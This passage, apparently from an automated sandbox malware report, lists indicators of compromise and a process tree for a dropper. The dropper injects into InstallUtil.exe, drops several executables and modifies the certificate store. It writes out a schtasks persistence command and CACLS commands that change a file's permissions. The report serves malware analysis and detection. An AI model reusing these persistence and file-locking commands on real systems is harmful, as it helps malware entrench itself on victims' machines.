15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	V1JHvmUoo8DRxaXlAkzK2W8g.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	V1JHvmUoo8DRxaXlAkzK2W8g.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	V1JHvmUoo8DRxaXlAkzK2W8g.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3004	0p3ju47wi6RE7737zlmG8OKB.exe
3004	0p3ju47wi6RE7737zlmG8OKB.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
1496	xLvZt7L1yd1qOqcvCJnF6A2d.exe
1496	xLvZt7L1yd1qOqcvCJnF6A2d.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
5092	iSDrSrJAqe3J4quO0kd3nlQX.exe
4512	powershell.exe
4512	powershell.exe
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1496	xLvZt7L1yd1qOqcvCJnF6A2d.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	InstallUtil.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeDebugPrivilege	5172	untilmathematics.exe
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeDebugPrivilege	4344	HModc7c5VOThmRdOgeHZMPsl.exe
Token: SeShutdownPrivilege	2632	powercfg.exe
Token: SeCreatePagefilePrivilege	2632	powercfg.exe
Token: SeShutdownPrivilege	5308	powercfg.exe
Token: SeCreatePagefilePrivilege	5308	powercfg.exe
Token: SeShutdownPrivilege	5444	powercfg.exe
Token: SeCreatePagefilePrivilege	5444	powercfg.exe
Token: SeShutdownPrivilege	5552	powercfg.exe
Token: SeCreatePagefilePrivilege	5552	powercfg.exe
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe
2992	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 4132 wrote to memory of 3688	4132	NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe	82
PID 3688 wrote to memory of 1352	3688	InstallUtil.exe	92
PID 3688 wrote to memory of 1352	3688	InstallUtil.exe	92
PID 3688 wrote to memory of 2056	3688	InstallUtil.exe	84
PID 3688 wrote to memory of 2056	3688	InstallUtil.exe	84
PID 3688 wrote to memory of 2056	3688	InstallUtil.exe	84
PID 3688 wrote to memory of 1476	3688	InstallUtil.exe	90
PID 3688 wrote to memory of 1476	3688	InstallUtil.exe	90
PID 3688 wrote to memory of 1476	3688	InstallUtil.exe	90
PID 3688 wrote to memory of 1704	3688	InstallUtil.exe	86
PID 3688 wrote to memory of 1704	3688	InstallUtil.exe	86
PID 3688 wrote to memory of 1704	3688	InstallUtil.exe	86
PID 3688 wrote to memory of 1232	3688	InstallUtil.exe	87
PID 3688 wrote to memory of 1232	3688	InstallUtil.exe	87
PID 3688 wrote to memory of 1232	3688	InstallUtil.exe	87
PID 3688 wrote to memory of 5024	3688	InstallUtil.exe	94
PID 3688 wrote to memory of 5024	3688	InstallUtil.exe	94
PID 3688 wrote to memory of 5024	3688	InstallUtil.exe	94
PID 3688 wrote to memory of 4412	3688	InstallUtil.exe	91
PID 3688 wrote to memory of 4412	3688	InstallUtil.exe	91
PID 3688 wrote to memory of 4412	3688	InstallUtil.exe	91
PID 3688 wrote to memory of 4344	3688	InstallUtil.exe	93
PID 3688 wrote to memory of 4344	3688	InstallUtil.exe	93
PID 3688 wrote to memory of 4344	3688	InstallUtil.exe	93
PID 3688 wrote to memory of 3004	3688	InstallUtil.exe	85
PID 3688 wrote to memory of 3004	3688	InstallUtil.exe	85
PID 1352 wrote to memory of 2120	1352	8au7TfbOVHq7gqgRjN48Yzio.exe	89
PID 1352 wrote to memory of 2120	1352	8au7TfbOVHq7gqgRjN48Yzio.exe	89
PID 3688 wrote to memory of 5092	3688	InstallUtil.exe	95
PID 3688 wrote to memory of 5092	3688	InstallUtil.exe	95
PID 1476 wrote to memory of 4480	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	96
PID 1476 wrote to memory of 4480	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	96
PID 1476 wrote to memory of 4480	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	96
PID 1476 wrote to memory of 3192	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	98
PID 1476 wrote to memory of 3192	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	98
PID 1476 wrote to memory of 3192	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	98
PID 1704 wrote to memory of 4664	1704	JLjvpleHnRAagxt2dCDXJCSf.exe	97
PID 1704 wrote to memory of 4664	1704	JLjvpleHnRAagxt2dCDXJCSf.exe	97
PID 1704 wrote to memory of 4664	1704	JLjvpleHnRAagxt2dCDXJCSf.exe	97
PID 3688 wrote to memory of 4876	3688	InstallUtil.exe	99
PID 3688 wrote to memory of 4876	3688	InstallUtil.exe	99
PID 3688 wrote to memory of 4876	3688	InstallUtil.exe	99
PID 2120 wrote to memory of 2992	2120	cmd.exe	100
PID 2120 wrote to memory of 2992	2120	cmd.exe	100
PID 1476 wrote to memory of 544	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	101
PID 1476 wrote to memory of 544	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	101
PID 1476 wrote to memory of 544	1476	V1JHvmUoo8DRxaXlAkzK2W8g.exe	101
PID 4876 wrote to memory of 3876	4876	kBk9kmz6UfTZJlIGCCniCxC0.exe	102
PID 4876 wrote to memory of 3876	4876	kBk9kmz6UfTZJlIGCCniCxC0.exe	102
PID 4876 wrote to memory of 3876	4876	kBk9kmz6UfTZJlIGCCniCxC0.exe	102
PID 4664 wrote to memory of 3528	4664	nhdues.exe	182
PID 4664 wrote to memory of 3528	4664	nhdues.exe	182
PID 4664 wrote to memory of 3528	4664	nhdues.exe	182
PID 544 wrote to memory of 2132	544	V1JHvmUoo8DRxaXlAkzK2W8g.exe	104
PID 544 wrote to memory of 2132	544	V1JHvmUoo8DRxaXlAkzK2W8g.exe	104
PID 544 wrote to memory of 2132	544	V1JHvmUoo8DRxaXlAkzK2W8g.exe	104
PID 2056 wrote to memory of 1496	2056	xLvZt7L1yd1qOqcvCJnF6A2d.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3096
- C:\Users\Admin\AppData\Local\Temp\NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe
  "C:\Users\Admin\AppData\Local\Temp\NEAS.e7268d8c171e77fc209d921f92957eafebfe49d96a697104ce4698ed5a53e213exe_JC.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Drops startup file
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Users\Admin\Pictures\xLvZt7L1yd1qOqcvCJnF6A2d.exe
      "C:\Users\Admin\Pictures\xLvZt7L1yd1qOqcvCJnF6A2d.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:2056
    - - C:\Users\Admin\Pictures\xLvZt7L1yd1qOqcvCJnF6A2d.exe
        
        "C:\Users\Admin\Pictures\xLvZt7L1yd1qOqcvCJnF6A2d.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1496
  - - C:\Users\Admin\Pictures\0p3ju47wi6RE7737zlmG8OKB.exe
      "C:\Users\Admin\Pictures\0p3ju47wi6RE7737zlmG8OKB.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in Drivers directory
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      PID:3004
  - - C:\Users\Admin\Pictures\JLjvpleHnRAagxt2dCDXJCSf.exe
      "C:\Users\Admin\Pictures\JLjvpleHnRAagxt2dCDXJCSf.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1704
    - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4664
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:3528
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        6⤵
        
        PID:5060
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:2788
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        7⤵
        
        PID:5276
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        7⤵
        
        PID:5400
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:5444
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        7⤵
        
        PID:5452
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        7⤵
        
        PID:5544
  - - C:\Users\Admin\Pictures\VnavRGDXas19emobg3r3GDd9.exe
      "C:\Users\Admin\Pictures\VnavRGDXas19emobg3r3GDd9.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:1232
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1232 -s 1828
        5⤵
        Program crash
        
        PID:6140
  - - C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe
      "C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe
        
        C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.34 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2bc,0x2ec,0x6ff58538,0x6ff58548,0x6ff58554
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4480
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\V1JHvmUoo8DRxaXlAkzK2W8g.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\V1JHvmUoo8DRxaXlAkzK2W8g.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3192
    - - C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe
        
        "C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1476 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231020085345" --session-guid=273d9912-b288-4a6b-8d30-94eda40866b2 --server-tracking-blob=MGE4MzcxZDU4YjUxMDJjOGM0YWJmNWQ4OTc1MThhNjZkMmJkNDBhM2QyMzQzYThiM2U1NjVkYjk1ZWM0ODI2NTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5Nzc5MjAxMi4zMDAwIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiJlNTZmZTMxYS1mYzg4LTQ4ZmItODI0NC1lM2YyNGQzOTlmYzEifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3805000000000000
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        Suspicious use of WriteProcessMemory
        
        PID:544
      - C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe
        
        C:\Users\Admin\Pictures\V1JHvmUoo8DRxaXlAkzK2W8g.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.34 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2bc,0x2f8,0x6f0f8538,0x6f0f8548,0x6f0f8554
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2132
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310200853451\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310200853451\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe"
        5⤵
        
        PID:5456
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310200853451\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310200853451\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:5012
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310200853451\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202310200853451\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.25 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0xc11588,0xc11598,0xc115a4
        6⤵
        
        PID:3812
  - - C:\Users\Admin\Pictures\8yenbQ2aNvJss1Rn94KsWMwL.exe
      "C:\Users\Admin\Pictures\8yenbQ2aNvJss1Rn94KsWMwL.exe"
      4⤵
